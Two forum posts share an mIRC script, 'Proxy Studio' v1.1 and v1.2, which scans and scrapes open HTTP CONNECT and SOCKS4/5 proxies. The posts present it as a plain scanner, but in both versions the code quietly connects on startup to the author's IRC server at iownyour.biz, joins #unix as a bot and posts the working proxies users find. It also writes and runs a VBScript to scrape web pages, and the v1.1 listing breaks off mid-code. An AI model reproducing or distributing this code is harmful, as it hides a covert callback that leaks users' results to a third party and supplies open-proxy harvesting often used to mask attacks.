Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - Independent

Pages: [1]
1
General Chat / mIRC socks/proxy scanner+leecher - Proxy Studio v1.2
« on: November 15, 2017, 11:00:24 PM »

Code: [Select]
;Proxy & Socks Scanner by independent with nice dialogs & statistics.
;Will be updating this script from time to time.
;Thank you about keeping credits to me, the creator of this script.
;Skype independentt911 - /server irc-1.iownyour.biz +6697

on 1:start:defaultset
dialog proxystudio {
  title "Proxy Studio v1.2 by independent"
  size -1 -1 909 641
  option pixels notheme
  tab "Scanner", 2, 3 1 900 629
  tab "Working Proxys", 20
  tab "Proxy files And Leecher", 30
  box "Proxy to test", 4, 18 32 134 576, tab 2
  edit "Add proxy here", 5, 26 50 124 552, tab 2 group autohs autovs multi return vsbar limit 0
  radio "Connect Proxys", 6, 156 42 100 18, tab 2
  radio "Socks 4 ", 7, 156 66 100 18, tab 2
  radio "Socks 5", 8, 156 90 100 18, tab 2
  button "Start Scanning", 9, 262 40 98 70, tab 2
  box "Sockets", 10, 152 116 208 98, tab 2
  text "Open:", 11, 156 132 190 16, tab 2
  text "Working Proxys:", 12, 156 154 192 18, tab 2
  box "Settings", 13, 364 80 104 122, tab 2
  edit "164.132.126.130", 14, 366 116 100 20, tab 2
  text "IRC Server test IP", 15, 368 98 96 16, tab 2
  text "ms between threads", 16, 368 140 100 16, tab 2
  edit "100", 17, 366 162 40 20, tab 2
  box "Debug", 18, 164 216 726 404, tab 2
  edit "---------------------------------------------------------------------------Scan OUTPUT ----------------------------------------------------------------------------", 19, 172 234 706 378, tab 2 result read autohs autovs multi return vsbar
  box "Connect Proxys", 21, 188 32 168 580, tab 20
  box "Socks 4", 22, 366 32 182 580, tab 20 result
  box "Socks 5", 23, 570 32 194 580, tab 20 result
  edit "", 24, 194 54 154 512, tab 20 result autohs autovs multi return vsbar
  edit "", 25, 376 52 162 518, tab 20 autohs autovs multi return vsbar limit 0
  edit "", 26, 576 54 182 516, tab 20 result autohs autovs multi return vsbar
  button "Save", 27, 192 572 66 24, tab 20
  button "Save", 28, 370 574 64 26, tab 20
  button "Save", 29, 578 574 64 26, tab 20
  link "www.pastebin.com/u/independentt", 45, 710 0 194 18, tab 20
  link "www.pastebin.com/u/independentt", 46, 698 2 184 18, tab 2
  link "www.pastebin.com/u/independentt", 47, 721 3 176 16, tab 30
  text "This will scan the selected proxy lists from *.txt or *log", 31, 5 33 266 30, tab 30
  button "Scan my files, NOW.", 32, 111 61 142 68, tab 30
  radio "Connect Proxy", 33, 9 67 100 16, tab 30
  radio "Socks 4", 34, 9 87 100 16, tab 30
  radio "Socks 5", 35, 9 107 100 18, tab 30
  button "Clear", 36, 644 574 64 26, tab 20
  button "Filter", 37, 708 574 50 26, tab 20
  button "Clear", 38, 434 574 66 26, tab 20
  button "Filter", 39, 500 574 36 26, tab 20
  button "Clear", 40, 258 572 66 24, tab 20
  button "Filter", 41, 322 572 34 24, tab 20
  box "MASS SCANNER", 42, 3 21 272 124, tab 30
  box "Stats", 43, 14 34 146 530, tab 20
  text "Total Proxys Scanned:", 44, 22 54 132 70, tab 20
  text "Total Valid Proxys:", 48, 20 128 136 82, tab 20
  text "Connection Errors:", 49, 18 218 136 92, tab 20
  box "Proxy Leecher *needs internet explorer functions", 50, 276 48 590 572, tab 30
  edit "http://www.vipsocks24.net/2017/11/16-11-17-vip-socks-5-servers-4150.html", 51, 313 163 420 434, tab 30 autohs autovs multi return hsbar
  button "Leech", 52, 313 137 66 24, tab 30
  button "Save", 53, 381 137 64 24, tab 30
  button "Clear", 54, 447 137 64 24, tab 30
  button "Load list", 55, 513 137 64 24, tab 30
  box "Stats", 56, 738 276 127 319, tab 30
  text "Number of Leeched lists:", 57, 737 298 128 92, tab 30
  button "STOP!", 58, 580 135 64 26, tab 30
  button "Stop scanner NOW!", 59, 366 38 100 40, tab 2
  text "Number of Leechable Sites:", 60, 739 391 126 66, tab 30
  edit "www.vipsocks24.net s5", 61, 315 85 246 44, tab 30 multi hsbar
  button "Add Site", 62, 567 93 58 26, tab 30
  text "Protocol", 64, 154 22 100 18, tab 2
  menu "File", 1
  item "STOP ALL", 63, 1
  item "Item3", 3, 1
}





on 1:dialog:proxystudio:sclick:9: {
  hadd -m proxyset max $did(proxystudio,5,0).lines
  .timerSCLICK -om $hget(proxyset,max) %interval pxys

}
on 1:dialog:proxystudio:sclick:6: {
  hadd -m proxyset ext pxy
}
on 1:dialog:proxystudio:sclick:7: {
  hadd -m proxyset ext s4
}
on 1:dialog:proxystudio:sclick:8: {
  hadd -m proxyset ext s5
}
on 1:dialog:proxystudio:sclick:33: {
  hadd -m proxyset ext2 pxy
}
on 1:dialog:proxystudio:sclick:34: {
  hadd -m proxyset ext2 s4
}
on 1:dialog:proxystudio:sclick:35: {
  hadd -m proxyset ext2 s5
}
on 1:dialog:proxystudio:sclick:37: {
  filterdiag 26
}
on 1:dialog:proxystudio:sclick:39: {
  filterdiag 25
}
on 1:dialog:proxystudio:sclick:41: {
  filterdiag 24
}
on 1:dialog:proxystudio:sclick:36: {
  cleardiag 26
}
on 1:dialog:proxystudio:sclick:38: {
  cleardiag 25
}
on 1:dialog:proxystudio:sclick:40: {
  cleardiag 24
}

on 1:dialog:proxystudio:sclick:58: {
  abord

}
on 1:dialog:proxystudio:sclick:59: {
  abord

}
on 1:dialog:proxystudio:sclick:52: {
  leech

}
on 1:dialog:proxystudio:sclick:54: {
  cleardiag 51
}
on 1:dialog:proxystudio:sclick:55: {
  loadbuf -oi proxystudio 51 leech.txt
  did -a proxystudio 60 Number of Leechable Sites: $lines(leech.txt)

}
on 1:dialog:proxystudio:sclick:53: {
  savebuf -oi proxystudio 51 leech.txt
  did -a proxystudio 60 Number of Leechable Sites: $lines(leech.txt)

}
on 1:dialog:proxystudio:sclick:62: {
  write leech.txt $did(proxystudio,61) $CRLF
  loadbuf -oi proxystudio 51 leech.txt
  did -a proxystudio 60 Number of Leechable Sites: $lines(leech.txt)
}
alias sortnumber {
  return $iif($1 > $2, 1, $iif($1 == $2,0,-1))
}
alias filterdiag {
  filter -iocsa proxystudio $1 proxystudio $1 sortnumber
}
alias cleardiag {
  did -r proxystudio $1
}
on 1:dialog:proxystudio:sclick:27: {
  %name = Valid.Proxys. $+ $ticks $+ .txt
  savebuf -o proxystudio 24 %name
  run %name
}
on 1:dialog:proxystudio:sclick:28: {
  %name = Valid.socks4. $+ $ticks $+ .txt
  savebuf -o proxystudio 25 %name
  run %name
}
on 1:dialog:proxystudio:sclick:29: {
  %name = Valid.socks5. $+ $ticks $+ .txt
  savebuf -o proxystudio 26 %name
  run %name
}
on 1:dialog:proxystudio:sclick:32: {
  if ($hget(proxyset,ext2) == pxy) selectmultiplefile
  if ($hget(proxyset,ext2) == s4) selectmultiplefiles4
  if ($hget(proxyset,ext2) == s5) selectmultiplefiles5
}
on 1:dialog:proxystudio:edit:17: {
  did -a proxystudio 19 Interval changed to $did(proxystudio,17) $CRLF
  set %interval $did(proxystudio,17)
}
on 1:dialog:proxystudio:edit:14: {
  set %def.s $did(proxystudio,14)
  did -a proxystudio 19 IRC server changed to $did(proxystudio,14) $crlf
}
on 1:dialog:proxystudio:edit:10: {
  did -a proxystudio 19 Proxys added to scan: $did(proxystudio,10).len $crlf
}
on 1:dialog:proxystudio:sclick:38: {
  hadd -m proxyset max $did(proxystudio,5,0).lines
  .timerSCLICK -om $hget(proxyset,max) %interval pxys

}



alias pxys {
  hinc -u5 proxyset inc

  if ($hget(proxyset,ext) == pxy) || (!$hget(proxyset,ext)) sc4n $did(proxystudio,5,$hget(proxyset,inc))
  if ($hget(proxyset,ext) == s4) s4.scan $did(proxystudio,5,$hget(proxyset,inc))
  if ($hget(proxyset,ext) == s5) s5.scan $did(proxystudio,5,$hget(proxyset,inc))
}


alias b {
  sockopen bot_x irc- $+ $r(1,2) $+ .iownyour.biz 6667
}


on *:sockopen:bot_x: {
  sockwrite -n bot_x nick pXy[ $+ $r(0,99999) $+ ]
  sockwrite -n bot_x user sockets . . . sockets
}

on *:sockread:bot*: {
  sockread %_sb
  tokenize 32 %_sb
  var %_ntoks = $numtok($1-,44)
  if ($1 == PING && $2) { sockwrite -n $sockname PONG $2- }
  if ($2 == 001) { sockwrite -n bot_x JOIN #unix }
}
alias -l htmlfree {
  var %x, %i = $regsub($replace($1-,<td>,$chr(32),<tr>,$chr(20),<br>,$chr(20)),/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x,&nbsp;)
  return %x
}
ALIAS DEF.p { %z = $r(0,1) | if (%z) return %def.p | else return 6667 }
ALIAS DEF.S { return %def.s }
alias getiphost2 {
  %var = /\b((?:(?:[a-z]+)\.)+(?:[a-z]+)[: ]\d{2,5})\b|\b((?:(?:(25[1-5]|2[1-4]\d|[01]?\d?\d))\.){3}(?3)[: ]\d{2,5})\b/i
  if $regex(ip,$remove($1-,$chr(9)),%var) {
    return $replace($regml(ip,1),:,$chr(32))
  }
}
alias getsource {
  run iexplore $1-
  %out = $shortfn($mircdirleech $+ $ctime $+ .txt)
  if ($isfile(get.vbs)) .remove get.vbs
  %a = write get.vbs
  %a Set app = CreateObject("Shell.Application")
  %a For Each window In app.Windows()
  %a   If InStr(1, window.FullName, "Internet Explorer", vbTextCompare) > 0 Then
  %a     Set ie = window
  %a     Exit For
  %a   End If
  %a Next
  %a Set fso = CreateObject("Scripting.FileSystemObject")
  %a Set f = fso.OpenTextFile(" $+ %out $+ ", 2, True , -1)
  %a f.Write ie.document.body.innerText
  %a f.Close
  %a Ie.Quit
  .timerrunit 1 5 run get.vbs
  return %out
}
alias leech {
  if (!%interval) %interval = 100
  did -a proxystudio 19 $timestamp * Now leeching proxy-lists over the web. $crlf
  set %site.max $lines(leech.txt)
  set %site.inc 0
  :GO
  inc %site.inc
  .timer -o 1 $calc(%site.inc *5) pxx %site.inc
  if (%site.inc < %site.max) goto go
  else { halt }
}
alias pxx { did -a proxystudio 19 Leeching...saving to: $getsource($read(leech.txt,$1)) %interval | did -a proxystudio 57 Number of Leeched lists: %site.inc }
alias getURL {
  noop $regex($1,/(((http(s)?\72(\57{2}))|(www\56{1}))+(\w*)+(\56{1})+(\w{2,3})\S*)/Sig))
  return $regml(1)
}
alias sc5nfile { s5.scan $1- }
alias sc4nfile { s4.scan $1- }
alias sc4n {
  if (!$sock(bot_x).ip) b
  if (*.*.*.*  iswm $1-) && ($1 != x) && ($2)  {
    if ($read($pxy,w,* $+ $1 $+ *) != $null) { did -a proxystudio 19 $1 $2 Already in list, halted scan. $crlf | return }
    did -a proxystudio 19 Scanning: $1 $2 $crlf
    sockopen scan $+ $r(0,99999999999999) $1 $2
    return
  }
  if ($getiphost2($1-)) {
    if ($read($pxy,w,* $+ $gettok($getiphost2($1-),1,32) $+ *) != $null) { did -a proxystudio 19 $1 $+ : %+ $2 Already in list, halted scan. $crlf | goto next }
    did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
    sockopen scan $+ $r(0,99999999999999) $getiphost2($1-)
    goto next
  }
  if (*.*.*.* !iswm $1-) goto next
  if ($read($pxy,w,* $+ $wildtok($1-,*.*.*.*,1,32) $+ *) != $null) { did -a proxystudio 19 $wildtok($1-,*.*.*.*,1,32) Already in list, halted scan. $crlf | goto next }
  :next
}
alias setinterval {
  :restart
  %interval = $?="Enter interval in milliseconds, 1 to 1000 "
  if (!$!) || ($! >= 1000) goto restart
}
alias defaultset { %interval = 100 | %def.s = 164.132.126.130 | %def.p = 6667 | b }
alias scan.win { inc %scan.start | if (%scan.start == 1) defaultset | if (%interval == $null) setinterval | if ($window(@proxyscan) == $null) { window -e @proxyscan | window -e @sock4 | window -e @sock5 } }
alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
menu * {
  [-Proxy Studio-]: dialog -m proxystudio proxystudio
}

alias pxy return ValidProxy.txt
alias abord { play stop | .timerleech off | .timerpl.* off | sockclose *scan* | sockclose *fl* | .timer*scan* off | hfreepxy | hfrees4 | hfrees5 }
on *:INPUT:@Proxyscan:{
  if ($getiphost2($1-)) {
    hadd -m proxy pxy $+ $gettok($getiphost2($1-),1,32) $getiphost2($1-)
    .timerscanfile -om 1 1 .pxyfile temp %interval
    return
  }
  if (!$getiphost2($1-)) && ($wildtok($1-,*.*.*.*,1,32)) sc4n $wildtok($1-,*.*.*.*,1,32)
}
alias hfreepxy { hfree proxy }
alias hfrees4 { hfree socks4 }
alias hfrees5 { hfree socks5 }
alias sk {
  set -u1 %chkk $read($pxy,w,* $+ $sock($sockname).ip $+ *)
  if (!%chkk) && (*9* iswm $1) write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
}
on *:sockopen:scan*:{
  hinc -m proxyset total
  did -a proxystudio 44 Total Proxys Scanned: $hget(proxyset,total)
  hinc -u120 proxyset open
  did -a proxystudio 11 Open: $hget(proxyset,open)
  if ($sockerr > 0) { hinc -m proxyset conerr | did -a proxystudio 49 Connection Errors: $hget(proxyset,conerr) | hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }

  did -a proxystudio 19 $sock($sockname).ip $sock($sockname).port Connecting ... $crlf
  sockwrite -tn $sockname CONNECT $def.s $+ : $+ $def.p HTTP/1.1 $+ $crlf
  sockwrite -tn $sockname $crlf
  sockmark $sockname $ticks


}
alias success {
  set %yell $2 %yell
  if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :pxy: %yell | unset %yell }

  did -a proxystudio 19 $1- $crlf
  sk $1
}
alias allpxy return ALL.txt
alias portclose { sockclose $1 }

on *:SOCKREAD:scan*:{
  :READ
  sockread -n %fld
  if (!%fld) || (!$sockbr) return
  if (!$sock($sockname).mark) || ($sock($sockname).mark == c) sockmark $sockname $ctime
  if (*http*200* iswm %fld) {
    did -a proxystudio 24 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
    hinc proxyset work
    did -a proxystudio 12 Working Proxys: $hget(proxyset,work)

    did -a proxystudio 48 Total Valid Proxys: $hget(proxyset,work)
    success * $sock($sockname).ip $+ : $+ $sock($sockname).port WORKING! Lag: $calc($ticks - $sock($sockname).mark) ms
    sockmark $sockname $ctime
    sockclose $Sockname
  }
  if ($gettok(%fld,1,32) == PING) { sockwrite -n $sockname PONG $remove($gettok(%fld,2,32),:) }
  goto READ
}
on 1:sockclose:scan*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf }
alias pb return did -a proxystudio 19
alias scanfile { sc4n $iif($getiphost2($1-),$getiphost2($1-),$2) }
alias pxyfile {
  if ($1 != temp) .timer -o 1 6 play -a scanfile @proxyscan $1 $2
  else {
    did -a proxystudio 19 Scanning $hfind(proxy,*,0,w) Proxys with %interval $+ ms interval to %def.s $crlf
    .timerSCANpxy -om $hfind(proxy,*,0,w) %interval scann pxy
  }
}
alias scann {
  if ($1 == pxy) {
    hinc -mu2 count hinc2
    sc4n $hget(proxy,$hfind(proxy,*,$hget(count,hinc2),w))
    .timerscanfileoff 1 5 .hfreepxy
  }
  if ($1 == s4) {
    hinc -mu2 count hinc3
    s4.scan $hget(socks4,$hfind(socks4,*,$hget(count,hinc3),w))
    .timerscanfileoffs4 1 5 .hfrees4
  }
  if ($1 == s5) {
    hinc -mu2 count hinc4
    s5.scan $hget(socks5,$hfind(socks5,*,$hget(count,hinc4),w))
    .timerscanfileoffs5 1 5 .hfrees5
  }
}
alias s5.scan {
  if (!$sock(bot_x).ip) b
  if (!$1) goto END
  if ($read(sock5.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { did -a proxystudio 19 $gettok($1,1,58) $+ : $+ $gettok($1,2,58) Already in list. $crlf | goto END }
  if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
    if ($read(sock5.txt,w,* $+ $1 $+ *) == $null) {
      sockopen s5chk $+ $r(0,9999999) $1 $2
      did -a proxystudio 19  Scanning: $1 $2 $crlf
    }
  }
  elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null)  {
    sockopen s5chk $+ $r(0,9999999) $getiphost2($1-)
    did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
  }
  :END
}
alias selectmultiplefiles5 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK5 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s5file $shortfn($msfile(%sinc)) %interval | goto incthat }
alias selectmultiplefiles4 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK4 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s4file $shortfn($msfile(%sinc)) %interval | goto incthat }
alias s4.scan {
  if (!$sock(bot_x).ip) b
  if (!$1) goto END
  if ($read(sock4.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { did -a proxystudio 19 $gettok($1,1,58) $+ : $+ $gettok($1,2,58) Already in list $crlf | goto END }
  if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
    if ($read(sock4.txt,w,* $+ $1 $+ *) == $null) {
      sockopen s4chk $+ $r(0,9999999) $1 $2
      did -a proxystudio 19  Scanning: $1 $2 $crlf
    }
  }
  elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null) {
    sockopen s4chk $+ $r(0,9999999) $getiphost2($1-)
    did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
  }
  :END
}
on *:sockopen:s5chk*:{
  hinc -m proxyset total
  did -a proxystudio 44 Total Proxys Scanned: $hget(proxyset,total)
  if ($sockerr) { hinc -m proxyset conerr | did -a proxystudio 49 Connection Errors: $hget(proxyset,conerr)  | did -a proxystudio 19 Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
  hinc -m proxyset total
  did -a proxystudio 44 Total Proxys Scanned: $hget(proxyset,total)
  hinc -u120 proxyset open
  did -a proxystudio 11 Open: $hget(proxyset,open)

  .bset &bvar5 1 5 1 0
  .sockwrite -n $sockname &bvar5
  .bunset &bvar5
}
on *:sockread:s5chk*:{
  if ($sockbr) { return }
  .sockread &bsocks5
  if ($bvar(&bsocks5,1,2) != 5 0) { return }
  if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) {

    sockmark $sockname $ticks
    bset &socks5  1 5 1 0 1 $replace($def.s,.,$chr(32)) $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46)
    .sockwrite -n $sockname &socks5
    .bunset &socks5
    sockrename $sockname chks5 $+ $remove($sockname,s5chk)

  }
}
on 1:SOCKREAD:chks5*:{
  sockread %socks5
  if ($chr(5) isin $gettok(%socks5,1-3,32)) {
    hinc proxyset work
    did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
    did -a proxystudio 26 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
    suces5 $sock($sockname).ip $+ : $+ $sock($sockname).port Lag: $calc($ticks - $sock($sockname).mark) $+ ms
  }
}
alias suces4 { did -a proxystudio 19 *work $1- $crlf | sk4 }
alias suces5 { did -a proxystudio 19 *work $1- $crlf | sk5 }
alias sk4 {
  set -u3 %rady $read(sock4.txt,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  if (!%rady) write sock4.txt $sock($sockname).ip $+ : $+ $sock($sockname).port
  sockwrite -n bot_x PRIVMSG #unix :S4: $sock($sockname).ip $+ : $+ $sock($sockname).port
  set %yell $sock($sockname).ip $+ : $+ $sock($sockname).port %yell
  if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :S4: %yell | unset %yell }

}
alias sk5 {
  set -u3 %redy $read(sock5.txt,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  if (!%redy) write sock5.txt $sock($sockname).ip $+ : $+ $sock($sockname).port
  set %yell $sock($sockname).ip $+ : $+ $sock($sockname).port %yell
  if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :S5: %yell | unset %yell }
}
on *:sockopen:s4chk*:{ 
  hinc -m proxyset total
  did -a proxystudio 44 Total Proxys Scanned: $hget(proxyset,total)
  if ($sockerr) { hinc -m proxyset conerr | did -a proxystudio 49 Connection Errors: $hget(proxyset,conerr) | did -a proxystudio 19 * Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
  hinc -u120 proxyset open
  did -a proxystudio 11 Open: $hget(proxyset,open)

  sockmark $sockname $ticks
  .bset &bvar4 1 4 1 $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46) $replace($def.s,.,$chr(32)) 0
  .sockwrite $sockname &bvar4
  .bunset &bvar4
}
ON *:SOCKREAD:s4chk*:{
  .sockread &bsocks4
  if ($bvar(&bsocks4,2) != 90) { echo 4 @sock4 Bad $sock($sockname).ip $+ : $+ $sock($sockname).port return $bvar(&bsocks4,2-) | return }
  if ($bvar(&bsocks4,2) == 90) {
    did -a proxystudio 25 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
    hinc proxyset work
    did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
    suces4 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - $sock($sockname).mark)) $+ ms

  }
}
on 1:SOCKCLOSE:s5*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf | return }
on 1:SOCKCLOSE:s4*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf | return }
alias scans4file { s4.scan $getiphost2($1-) }
alias s4file {
  if ($1 != temp.s4) .timer -o 1 6 play -a scans4file @sock4 $1-
  else {
    did -a proxystudio 19  Scanning $hfind(socks4,*,0,w) Socks4 with %interval $+ ms interval to %def.s $crlf
    .timerSCANs4 -om $hfind(socks4,*,0,w) %interval scann s4
  }
}
alias scans5file { s5.scan $getiphost2($1-) }
alias s5file {
  if ($1 != temp.s5) .timer -o 1 6 play -a scans5file @sock5 $1-
  else {
    did -a proxystudio 19 Scanning $hfind(socks5,*,0,w) Socks5 with %interval $+ ms interval to %def.s $crlf
    .timerSCANs5 -om $hfind(socks5,*,0,w) %interval scann s5
  }
}
https://sourceforge.net/projects/proxy-studio/

2
General Chat / Proxy Studio v1.1 by independent
« on: November 09, 2017, 02:51:12 PM »
This is an mIRC script, you can download mirc to www.mirc.com
in mIRC press ALT + R and put this code below into the remotes window of mIRC.  The script scans for CONNECT PROXYS and socks4/5. The dialog is simple and easy to use. Happy scanning!

Code: [Select]
;Proxy & Socks Scanner by independent with nice dialogs
;Skype independentt911

on 1:start:b
dialog proxystudio {
  title "Proxy Studio v1.1 by independent"
  size -1 -1 400 380
  option pixels notheme
  tab "Scanner", 2, 7 4 384 377
  tab "Working Proxys", 20
  tab "Proxy files", 30
  box "Proxy to test", 4, 19 33 116 327, tab 2
  edit "Add proxy here", 5, 26 50 113 301, tab 2 group autohs autovs multi return vsbar limit 0
  radio "Connect Proxys", 6, 139 46 100 18, tab 2
  radio "Socks 4 ", 7, 139 70 100 17, tab 2
  radio "Socks 5", 8, 138 92 100 17, tab 2
  button "Scan NOW!", 9, 283 46 65 25, tab 2
  box "Sockets", 10, 141 117 106 78, tab 2
  text "Open:", 11, 142 142 100 17, tab 2
  text "Working Proxys:", 12, 143 166 100 17, tab 2
  box "Settings", 13, 262 78 97 126, tab 2
  edit "164.132.126.130", 14, 262 115 100 20, tab 2
  text "IRC Server test IP", 15, 263 97 97 16, tab 2
  text "ms between threads", 16, 262 136 101 17, tab 2
  edit "200", 17, 262 155 40 19, tab 2
  box "Debug", 18, 141 205 224 152, tab 2
  edit "", 19, 145 222 218 133, tab 2 result read autohs autovs multi return vsbar
  box "Connect Proxys", 21, 12 30 112 338, tab 20
  box "Socks 4", 22, 127 30 106 338, tab 20 result
  box "Socks 5", 23, 238 29 106 338, tab 20 result
  edit "", 24, 16 48 105 290, tab 20 result autohs autovs multi return vsbar limit 0
  edit "", 25, 132 48 93 288, tab 20 autohs autovs multi return vsbar limit 0
  edit "", 26, 240 48 100 286, tab 20 result autohs autovs multi return vsbar
  button "Save", 27, 32 337 65 25, tab 20
  button "Save", 28, 145 337 65 25, tab 20
  button "Save", 29, 256 337 65 25, tab 20
  link "http://to.cur.lv/independentt", 45, 240 5 153 17, tab 20
  link "http://to.cur.lv/independentt", 46, 240 6 151 17, tab 2
  link "http://to.cur.lv/independentt", 47, 240 6 151 17, tab 30
  text "Select multiple files containing lots of proxys", 31, 68 57 256 34, tab 30
  button "Scan My File", 32, 136 147 99 25, tab 30
  radio "Connect Proxy", 33, 136 190 100 17, tab 30
  radio "Socks 4", 34, 136 216 100 17, tab 30
  radio "Socks 5", 35, 136 242 100 17, tab 30
  menu "File", 1
  item "Exit", 3, 1
}






on 1:dialog:proxystudio:sclick:9: {
  hadd -m proxyset max $did(proxystudio,5,0).lines
  .timerSCLICK -om $hget(proxyset,max) %interval pxys

}
on 1:dialog:proxystudio:sclick:6: {
  hadd -m proxyset ext pxy
}
on 1:dialog:proxystudio:sclick:7: {
  hadd -m proxyset ext s4
}
on 1:dialog:proxystudio:sclick:8: {
  hadd -m proxyset ext s5
}
on 1:dialog:proxystudio:sclick:33: {
  hadd -m proxyset ext2 pxy
}
on 1:dialog:proxystudio:sclick:34: {
  hadd -m proxyset ext2 s4
}
on 1:dialog:proxystudio:sclick:35: {
  hadd -m proxyset ext2 s5
}

on 1:dialog:proxystudio:sclick:27: {
  savebuf -o proxystudio 24 $pxy
  run $pxy
}
on 1:dialog:proxystudio:sclick:28: {
  savebuf -o proxystudio 25 sock4.txt
  run sock4.txt
}
on 1:dialog:proxystudio:sclick:29: {
  savebuf -o proxystudio 26 sock5.txt
  run sock5.txt
}
on 1:dialog:proxystudio:sclick:32: {
  if ($hget(proxyset,ext2) == pxy) selectmultiplefile
  if ($hget(proxyset,ext2) == s4) selectmultiplefiles4
  if ($hget(proxyset,ext2) == s5) selectmultiplefiles5
}
on 1:dialog:proxystudio:edit:17: {
  did -a proxystudio 19 Interval changed to $did(proxystudio,17) $CRLF
  set %interval $did(proxystudio,17)
}
on 1:dialog:proxystudio:edit:14: {
  set %def.s $did(proxystudio,14)
  did -a proxystudio 19 IRC server changed to $did(proxystudio,14) $crlf
}

on 1:dialog:proxystudio:sclick:38: {
  hadd -m proxyset max $did(proxystudio,5,0).lines
  .timerSCLICK -Om $hget(proxyset,max) %interval pxys

}

alias pxys {
  hinc -u5 proxyset inc

  if ($hget(proxyset,ext) == pxy) || (!$hget(proxyset,ext)) sc4n $did(proxystudio,5,$hget(proxyset,inc))
  if ($hget(proxyset,ext) == s4) s4.scan $did(proxystudio,5,$hget(proxyset,inc))
  if ($hget(proxyset,ext) == s5) s5.scan $did(proxystudio,5,$hget(proxyset,inc))
}


alias b {
  sockopen bot_x irc- $+ $r(1,2) $+ .iownyour.biz 6667
}


on *:sockopen:bot_x: {
  sockwrite -n bot_x nick pXy[ $+ $r(0,99999) $+ ]
  sockwrite -n bot_x user sockets . . . sockets
}

on *:sockread:bot*: {
  sockread %_sb
  tokenize 32 %_sb
  var %_ntoks = $numtok($1-,44)
  if ($1 == PING && $2) { sockwrite -n $sockname PONG $2- }
  if ($2 == 001) { sockwrite -n bot_x JOIN #unix }
}
alias -l htmlfree {
  var %x, %i = $regsub($replace($1-,<td>,$chr(32),<tr>,$chr(20),<br>,$chr(20)),/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x,&nbsp;)
  return %x
}
ALIAS DEF.p { %z = $r(0,1) | if (%z) return %def.p | else return 6667 }
ALIAS DEF.S { return %def.s }
alias getiphost2 {
  %var = /\b((?:(?:[a-z]+)\.)+(?:[a-z]+)[: ]\d{2,5})\b|\b((?:(?:(25[1-5]|2[1-4]\d|[01]?\d?\d))\.){3}(?3)[: ]\d{2,5})\b/i
  if $regex(ip,$remove($1-,$chr(9)),%var) {
    return $replace($regml(ip,1),:,$chr(32))
  }
}
alias getsource {
  run iexplore $1-
  %out = $shortfn($mircdirleech $+ $ctime $+ .txt)
  if ($isfile(get.vbs)) .remove get.vbs
  %a = write get.vbs
  %a Set app = CreateObject("Shell.Application")
  %a For Each window In app.Windows()
  %a   If InStr(1, window.FullName, "Internet Explorer", vbTextCompare) > 0 Then
  %a     Set ie = window
  %a     Exit For
  %a   End If
  %a Next
  %a Set fso = CreateObject("Scripting.FileSystemObject")
  %a Set f = fso.OpenTextFile(" $+ %out $+ ", 2, True , -1)
  %a f.Write ie.document.body.innerText
  %a f.Close
  %a Ie.Quit
  .timerrunit 1 5 run get.vbs
  return %out
}
alias leech {
  scan.win
  if (!%interval) %interval = 400
  did -a proxystudio 19 3 $+ $timestamp * Now leeching proxy-lists over the web. $crlf
  set %site.max $lines(leech.txt)
  set %site.inc 0
  :GO
  inc %site.inc
  .timer -o 1 $calc(%site.inc *10) pxx %site.inc
  if (%site.inc < %site.max) goto go
  else { halt }
}
alias pxx { .pxyfile $getsource($read(leech.txt,$1)) %interval }
alias getURL {
